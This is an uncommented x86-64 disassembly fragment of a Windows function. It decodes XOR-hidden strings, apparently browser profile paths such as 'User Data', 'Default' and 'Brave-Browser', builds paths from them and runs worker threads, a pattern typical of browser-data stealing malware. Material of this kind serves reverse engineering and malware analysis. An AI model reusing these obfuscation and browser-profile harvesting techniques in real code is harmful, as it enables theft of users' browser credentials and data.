mov word [rbp + 0xe0], 0x1306
xor byte [rbp + rax + 0xd9], cl
add rax, r15
cmp rax, 9
jae 0x14002730c
mov cl, byte [rbp + 0xd8]
jmp 0x1400272f4
lea rax, [rbp + 0xd9]
mov byte [rbp + 0xe2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x458]
call fcn.140003550
movdqa xmm0, xmmword [0x1400824e0]
mov rcx, r12
movdqu xmmword [rbp + 0x1a8], xmm0
mov dword [rbp + 0x1b8], 0x1107031b
mov word [rbp + 0x1bc], 6
mov al, byte [rbp + 0x1a8]
xor byte [rbp + rcx + 0x1a9], al
add rcx, r15
cmp rcx, 0x14
jb 0x140027359
lea rax, [rbp + 0x1a9]
mov byte [rbp + 0x1bd], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x438]
call fcn.140003550
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x958]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x458]
lea rcx, [rbp + 0xcc0]
call fcn.140012848
xor eax, eax
mov dword [rbp - 8], 0x5d5e7f3b
mov byte [rbp], al
mov cl, 0x3b
mov bl, 0x5d
mov dword [rbp - 4], 0x4f574e5a
xor byte [rbp + rax - 7], cl
add rax, r15
cmp rax, 7
jae 0x1400273ef
mov cl, byte [rbp - 8]
jmp 0x1400273dd
lea rax, [rbp - 7]
mov byte [rbp], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x418]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xe8], 0x382e085d
mov byte [rbp + 0xf2], al
mov cl, bl
mov dword [rbp + 0xec], 0x3c197d2f
mov word [rbp + 0xf0], 0x3c29
xor byte [rbp + rax + 0xe9], cl
add rax, r15
cmp rax, 9
jae 0x14002744f
mov cl, byte [rbp + 0xe8]
jmp 0x140027437
lea rax, [rbp + 0xe9]
mov byte [rbp + 0xf2], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3f8]
call fcn.140003550
mov cl, 0xb
mov dword [rsp + 0x78], 0x6c6f4e0b
mov rax, r12
mov word [rsp + 0x7c], WSASetLastError
xor byte [rsp + rax + 0x79], cl
add rax, r15
cmp rax, 4
jae 0x14002749d
mov cl, byte [rsp + 0x78]
jmp 0x14002748a
lea rax, [rsp + 0x79]
mov byte [rsp + 0x7d], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3d8]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0xf8], 0x7d77531e
mov byte [rbp + 0x102], al
mov dword [rbp + 0xfc], 0x716d716c
mov word [rbp + 0x100], 0x6a78
xor byte [rbp + rax + 0xf9], r14b
add rax, r15
cmp rax, 9
jae 0x1400274ff
mov r14b, byte [rbp + 0xf8]
jmp 0x1400274e5
lea rax, [rbp + 0xf9]
mov byte [rbp + 0x102], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x3b8]
call fcn.140003550
lea r8, [rbp + 0x3b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x938]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3d8]
lea rcx, [rbp + 0x918]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x3f8]
lea rcx, [rbp + 0x8f8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x418]
lea rcx, [rbp + 0xce0]
call fcn.140012848
xor eax, eax
mov dword [rbp + 8], 0x16153470
mov byte [rbp + 0x10], al
mov dword [rbp + 0xc], 0x41c0511
xor byte [rbp + rax + 9], sil
add rax, r15
cmp rax, 7
jae 0x1400275a9
mov sil, byte [rbp + 8]
jmp 0x140027595
lea rax, [rbp + 9]
mov byte [rbp + 0x10], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x398]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x108], 0x12042277
mov byte [rbp + 0x112], al
mov cl, 0x77
mov dword [rbp + 0x10c], 0x16335705
mov word [rbp + 0x110], 0x1603
xor byte [rbp + rax + 0x109], cl
add rax, r15
cmp rax, 9
jae 0x140027609
mov cl, byte [rbp + 0x108]
jmp 0x1400275f1
lea rax, [rbp + 0x109]
mov byte [rbp + 0x112], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x378]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x188], 0x4c5f6f2d
mov byte [rbp + 0x196], al
mov cl, 0x2d
mov dword [rbp + 0x18c], 0x6f00485b
mov dword [rbp + 0x190], 0x5e5a425f
mov word [rbp + 0x194], 0x5f48
xor byte [rbp + rax + 0x189], cl
add rax, r15
cmp rax, 0xd
jae 0x140027679
mov cl, byte [rbp + 0x188]
jmp 0x140027661
lea rax, [rbp + 0x189]
mov byte [rbp + 0x196], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x358]
call fcn.140003550
xor eax, eax
mov dword [rbp + 0x198], 0x3c2f1f5d
mov byte [rbp + 0x1a6], al
mov dword [rbp + 0x19c], 0x320e382b
mov dword [rbp + 0x1a0], 0x3c2a293b
mov word [rbp + 0x1a4], 0x382f
xor byte [rbp + rax + 0x199], bl
add rax, r15
cmp rax, 0xd
jae 0x1400276e7
mov bl, byte [rbp + 0x198]
jmp 0x1400276cf
lea rax, [rbp + 0x199]
mov byte [rbp + 0x1a6], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x338]
call fcn.140003550
lea r8, [rbp + 0x338]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x8d8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x358]
lea rcx, [rbp + 0x8b8]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x378]
lea rcx, [rbp + 0x898]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x398]
lea rcx, [rbp + 0xd00]
call fcn.140012848
xor eax, eax
mov dword [rbp - 0x70], 0x74775612
mov byte [rbp - 0x68], al
mov cl, reloc.WS2_32.dll_select
mov dword [rbp - 0x6c], 0x667e6773
xor byte [rbp + rax - 0x6f], cl
add rax, r15
cmp rax, 7
jae 0x140027791
mov cl, byte [rbp - 0x70]
jmp 0x14002777f
lea rax, [rbp - 0x6f]
mov byte [rbp - 0x68], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x318]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x80], 0x3b2d0b5e
mov byte [rbp - 0x76], al
mov dword [rbp - 0x7c], 0x3f1a7e2c
mov word [rbp - 0x78], 0x3f2a
xor byte [rbp + rax - 0x7f], r13b
add rax, r15
cmp rax, 9
jae 0x1400277df
mov r13b, byte [rbp - 0x80]
jmp 0x1400277cb
lea rax, [rbp - 0x7f]
mov byte [rbp - 0x76], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2f8]
call fcn.140003550
xor eax, eax
mov dword [rbp - 0x50], 0x131c247d
mov byte [rbp - 0x42], al
mov cl, 0x7d
mov dword [rbp - 0x4c], 0x3f051819
mov dword [rbp - 0x48], 0xe0a120f
mov word [rbp - 0x44], 0xf18
xor byte [rbp + rax - 0x4f], cl
add rax, r15
cmp rax, 0xd
jae 0x140027834
mov cl, byte [rbp - 0x50]
jmp 0x140027822
lea rax, [rbp - 0x4f]
mov byte [rbp - 0x42], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2d8]
call fcn.140003550
mov cl, 5
mov dword [rbp - 0x20], 0x6b645c05
mov rax, r12
mov dword [rbp - 0x1c], 0x7d6061
mov r13d, 6
xor byte [rbp + rax - 0x1f], cl
add rax, r15
cmp rax, r13
jae 0x14002787f
mov cl, byte [rbp - 0x20]
jmp 0x14002786e
lea rax, [rbp - 0x1f]
mov byte [rbp - 0x19], r12b
mov r8b, r12b
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x2b8]
call fcn.140003550
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x878]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2d8]
lea rcx, [rbp + 0x858]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x2f8]
lea rcx, [rbp + 0x838]
call fcn.140012848
mov rdx, rax
lea r8, [rbp + 0x318]
lea rcx, [rbp + 0xd20]
call fcn.140012848
lea rcx, [rbp + 0x838]
call fcn.14001d620
lea rcx, [rbp + 0x858]
call fcn.14001d620
lea rcx, [rbp + 0x878]
call fcn.14001d620
lea rcx, [rbp + 0x2b8]
call fcn.14001d620
lea rcx, [rbp + 0x2d8]
call fcn.14001d620
lea rcx, [rbp + 0x2f8]
call fcn.14001d620
lea rcx, [rbp + 0x318]
call fcn.14001d620
lea rcx, [rbp + 0x898]
call fcn.14001d620
lea rcx, [rbp + 0x8b8]
call fcn.14001d620
lea rcx, [rbp + 0x8d8]
call fcn.14001d620
lea rcx, [rbp + 0x338]
call fcn.14001d620
lea rcx, [rbp + 0x358]
call fcn.14001d620
lea rcx, [rbp + 0x378]
call fcn.14001d620
lea rcx, [rbp + 0x398]
call fcn.14001d620
lea rcx, [rbp + 0x8f8]
call fcn.14001d620
lea rcx, [rbp + 0x918]
call fcn.14001d620
lea rcx, [rbp + 0x938]
call fcn.14001d620
lea rcx, [rbp + 0x3b8]
call fcn.14001d620
lea rcx, [rbp + 0x3d8]
call fcn.14001d620
lea rcx, [rbp + 0x3f8]
call fcn.14001d620
lea rcx, [rbp + 0x418]
call fcn.14001d620
lea rcx, [rbp + 0x958]
call fcn.14001d620
lea rcx, [rbp + 0x438]
call fcn.14001d620
lea rcx, [rbp + 0x458]
call fcn.14001d620
lea rcx, [rbp + 0x978]
call fcn.14001d620
lea rcx, [rbp + 0x998]
call fcn.14001d620
lea rcx, [rbp + 0x9b8]
call fcn.14001d620
lea rcx, [rbp + 0x478]
call fcn.14001d620
lea rcx, [rbp + 0x498]
call fcn.14001d620
lea rcx, [rbp + 0x4b8]
call fcn.14001d620
lea rcx, [rbp + 0x4d8]
call fcn.14001d620
lea rcx, [rbp + 0x9d8]
call fcn.14001d620
lea rcx, [rbp + 0x9f8]
call fcn.14001d620
lea rcx, [rbp + 0x4f8]
call fcn.14001d620
lea rcx, [rbp + 0x518]
call fcn.14001d620
lea rcx, [rbp + 0x538]
call fcn.14001d620
lea rcx, [rbp + 0xa18]
call fcn.14001d620
lea rcx, [rbp + 0xa38]
call fcn.14001d620
lea rcx, [rbp + 0x558]
call fcn.14001d620
lea rcx, [rbp + 0x578]
call fcn.14001d620
lea rcx, [rbp + 0x598]
call fcn.14001d620
lea rcx, [rbp + 0xa58]
call fcn.14001d620
lea rcx, [rbp + 0xa78]
call fcn.14001d620
lea rcx, [rbp + 0x5b8]
call fcn.14001d620
lea rcx, [rbp + 0x5d8]
call fcn.14001d620
lea rcx, [rbp + 0x5f8]
call fcn.14001d620
lea rcx, [rbp + 0xa98]
call fcn.14001d620
lea rcx, [rbp + 0xab8]
call fcn.14001d620
lea rcx, [rbp + 0x618]
call fcn.14001d620
lea rcx, [rbp + 0x638]
call fcn.14001d620
lea rcx, [rbp + 0x658]
call fcn.14001d620
lea rcx, [rbp + 0xad8]
call fcn.14001d620
lea rcx, [rbp + 0x678]
call fcn.14001d620
lea rcx, [rbp + 0x698]
call fcn.14001d620
lea rcx, [rbp + 0xaf8]
call fcn.14001d620
lea rcx, [rbp + 0x6b8]
call fcn.14001d620
lea rcx, [rbp + 0x6d8]
call fcn.14001d620
lea rcx, [rbp + 0xb18]
call fcn.14001d620
lea rcx, [rbp + 0x6f8]
call fcn.14001d620
lea rcx, [rbp + 0x718]
call fcn.14001d620
lea rcx, [rbp + 0x238]
call fcn.14001d620
lea rcx, [rbp + 0x738]
call fcn.14001d620
lea rcx, [rbp + 0x758]
call fcn.14001d620
lea rcx, [rbp + 0x258]
call fcn.14001d620
lea rcx, [rbp + 0x778]
call fcn.14001d620
lea rcx, [rbp + 0x798]
call fcn.14001d620
lea rcx, [rbp + 0x278]
call fcn.14001d620
lea rcx, [rbp + 0x7b8]
call fcn.14001d620
lea rcx, [rbp + 0x7d8]
call fcn.14001d620
lea rcx, [rbp + 0x298]
call fcn.14001d620
lea rcx, [rbp + 0x7f8]
call fcn.14001d620
lea rcx, [rbp + 0x818]
call fcn.14001d620
xorps xmm0, xmm0
mov qword [rbp + 0x1b8], r12
movdqu xmmword [rbp + 0x1a8], xmm0
mov rbx, qword [rbp + 0x1b0]
lea rdi, [rbp + 0xb40]
mov rsi, r12
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r12b
mov r8, rdi
lea rdx, [0x140015ae8]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028140
mov qword [rsp + 0x78], r12
cmp rbx, rsi
je 0x140027cf5
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1b0], rbx
jmp 0x140027d16
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r12d
jne 0x1400280e6
add rdi, 0x20
lea rax, [rbp + 0xd40]
cmp rdi, rax
jne 0x140027c7f
lea rdi, [rbp + 0xd40]
lea r9, [rsp + 0x30]
mov byte [rsp + 0x30], r15b
mov r8, rdi
lea rdx, [0x140015ae8]
lea rcx, [rsp + 0x78]
call fcn.14000a840
mov r9, qword [rsp + 0x78]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x28], rax
lea r8, [0x140006038]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x140028133
mov qword [rsp + 0x78], r12
cmp rbx, rsi
je 0x140027db1
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1b0], rbx
jmp 0x140027dd2
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1a8]
call fcn.140005354
mov rsi, qword [rbp + 0x1b8]
mov rbx, qword [rbp + 0x1b0]
cmp dword [rbp - 0x48], r12d
jne 0x1400280df
add rdi, 0x20
lea rax, [rbp + 0xdc0]
cmp rdi, rax
jne 0x140027d3b
mov rdi, qword [rbp + 0x1a8]
jmp 0x140027e3d
cmp dword [rdi + 8], r12d
je 0x14002811c
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x140028111
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028106
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rbx
jne 0x140027df9
mov rdi, qword [0x1400a2f38]
xorps xmm1, xmm1
mov r15, qword [0x1400a2f40]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d0], xmm1
mov rbx, qword [rbp + 0x1d8]
mov r14, r12
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r12
mov qword [rbp + 0x1e0], r12
jmp 0x140027f46
mov ecx, 0x28
call fcn.14007a978
mov rsi, rax
test rax, rax
je 0x140027ec3
xorps xmm0, xmm0
mov rdx, rdi
movups xmmword [rax], xmm0
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r12
cmp qword [rdi + 0x18], 0xf
jbe 0x140027eac
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
mov rcx, rsi
call fcn.140002e4c
lea rax, [rsp + 0x50]
mov qword [rsi + 0x20], rax
jmp 0x140027ec6
mov rsi, r12
lea rax, [rbp - 0x48]
mov r9, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140006104]
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x50], rax
test rax, rax
je 0x1400280f9
cmp rbx, r14
je 0x140027f17
movaps xmm1, xmmword [rbp - 0x50]
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x50], xmm0
movdqu xmmword [rbx], xmm1
add rbx, 0x10
mov qword [rbp + 0x1d8], rbx
jmp 0x140027f38
lea r8, [rbp - 0x50]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call fcn.140005354
mov r14, qword [rbp + 0x1e0]
mov rbx, qword [rbp + 0x1d8]
cmp dword [rbp - 0x48], r12d
jne 0x140027fdd
add rdi, 0x20
cmp rdi, r15
jne 0x140027e7f
mov r15d, 1
mov ecx, r15d
call fcn.14007a978
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400060d4]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x140028125
cmp dword [rsp + 0x48], r12d
je 0x14002811c
call sub.MSVCP140.dll__Thrd_id
cmp dword [rsp + 0x48], eax
je 0x140028111
movaps xmm0, xmmword [rsp + 0x40]
lea rcx, [rbp + 0x1c0]
xor edx, edx
movdqa xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028106
mov rdi, qword [rbp + 0x1d0]
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
jmp 0x140028028
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
cmp dword [rdi + 8], r12d
je 0x14002811c
call sub.MSVCP140.dll__Thrd_id
cmp dword [rdi + 8], eax
je 0x140028111
movups xmm0, xmmword [rdi]
xor edx, edx
lea rcx, [rbp + 0x1c0]
movdqu xmmword [rbp + 0x1c0], xmm0
call sub.MSVCP140.dll__Thrd_join
test eax, eax
jne 0x140028106
xorps xmm0, xmm0
movdqu xmmword [rdi], xmm0
add rdi, 0x10
cmp rdi, rbx
jne 0x140027fe4
cmp dword [rsp + 0x48], r12d
je 0x14002803b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
lea rcx, [rbp + 0x1d0]
call fcn.14001d5a0
lea rcx, [rsp + 0x50]
call fcn.14001d498
lea rcx, [rbp + 0x1a8]
call fcn.14001d5a0
mov edx, 0x20
lea r9, [fcn.140010e64]
lea rcx, [rbp + 0xb40]
lea r8d, [rdx - 0x10]
call fcn.14007a8a8
mov edx, 0x20
lea r9, [fcn.140010e64]
lea rcx, [rbp + 0xd40]
lea r8d, [rdx - 0x1c]
call fcn.14007a8a8
lea rcx, [rbp + 0x208]
call fcn.14001d620
lea rcx, [rbp + 0x1e8]
call fcn.14001d620
xor eax, eax
mov rcx, qword [rbp + 0xdc0]
xor rcx, rsp
call fcn.14007ae30
lea r11, [rsp + 0xed0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14001d090
int3
call fcn.14001d928
int3
mov ecx, r13d
mov dword [rbp - 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 2
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, 5
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r15d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r13d
mov dword [rsp + 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r13d
mov dword [rbp - 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
mov ecx, r13d
mov dword [rbp - 0x48], r12d
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3